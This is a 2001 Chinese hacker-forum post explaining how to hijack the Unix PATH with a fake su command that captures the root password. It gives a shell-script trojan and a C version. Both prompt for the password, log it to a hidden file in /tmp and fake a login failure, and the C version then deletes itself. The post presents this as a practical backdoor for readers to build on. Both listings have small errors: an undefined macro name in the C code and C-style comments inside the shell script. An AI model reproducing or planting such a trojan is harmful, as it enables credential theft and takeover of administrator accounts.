黑客在线

讲述黑客的故事,勾划hack人生

48 成员207 主题510 回复0 张照片

unix shell后门实例

大
大鹰
2001-02-03 00:31
作者:大鹰
<suneagle@patching.net>

声明:本文只供作本机测试,如用于其他用途,后果自负!

shell是unix里的很强大的外壳命令解释器,它同时也是一个编译器,shell脚本语言也是强大的编程语言。

我以一个很简单的小伎俩来说明shell在入侵中的作用,呵呵。假设我们有一个系统的普通帐号(它可能是你通过猜密码,或脆弱密码得来的),利用su程序得到管理员密码,呵呵,就是通过一个简单的脚本实现。

我们知道,在unix系统中,命令的路径信息一般保存在环境变量PATH中。如果/usr/local/bin目录和/bin目录中各有一个su命令,在PATH变量中,第一个目录在前面,第二个目录在后面,此时执行不带路径的su命令(一般的管理员都会su而不会/bin/su,如果真有这么细心的管理员,那你就用别的方法了),将启动同名的非系统su命令,而不是系统管理员需要的系统su命令,那第一个su就是我写的脚本,也可以说是一个“特洛伊”。

好,切入正题!我写一个脚本,名称是su,我把它放到/usr/local/bin目录中,以下是脚本内容。

#! /bin/sh

echo -n "Password:"

stty -echo /*屏蔽回显*/

read PASSWD

stty echo /*打开回显*/

echo

echo "Sorry"

echo "$1/$2:$PASSWD">>/tmp/.eagle

呵呵,懂了?其实有很多网友都问我有没有unix下的木马啊后门程序什么的,呵呵,我是说不出来,看,上面不就是吗?unix的木马就要靠你对系统和shell的熟悉,自己创造,对自己水平的挑战,怎么样?比当个冰河难吧?但你真能学到东西。

补充:可以用c来写,呵呵,我写了一个,给大家参考:
#include <stdio.h>
#include <stdlib.h>

#define SU_PAS "/tmp/.eagle"

main (int argc, char *argv[])
{
char *key;
char buf[24];
FILE *fd;

key = (char *)getpass ("Password:");
fd = fopen(SU_PASS,"w");
fprintf(fd, "pass: %s\n", key);
fclose(fd);
printf ("su: incorrect password\n");
sprintf(buf, "rm %s", argv[0]);
system(buf);
exit(1);
}
/* 这次我用c来实现,用的时候需在主目录下建立一个隐藏目录,如.eagle,把su程序考到下面,编译,然后
再add PATH=$HOME/.eagle:$PATH,( 记住要使$HOME/.eagle在$PATH之前)ok了,呵呵*/


1 / 1

登录后回复。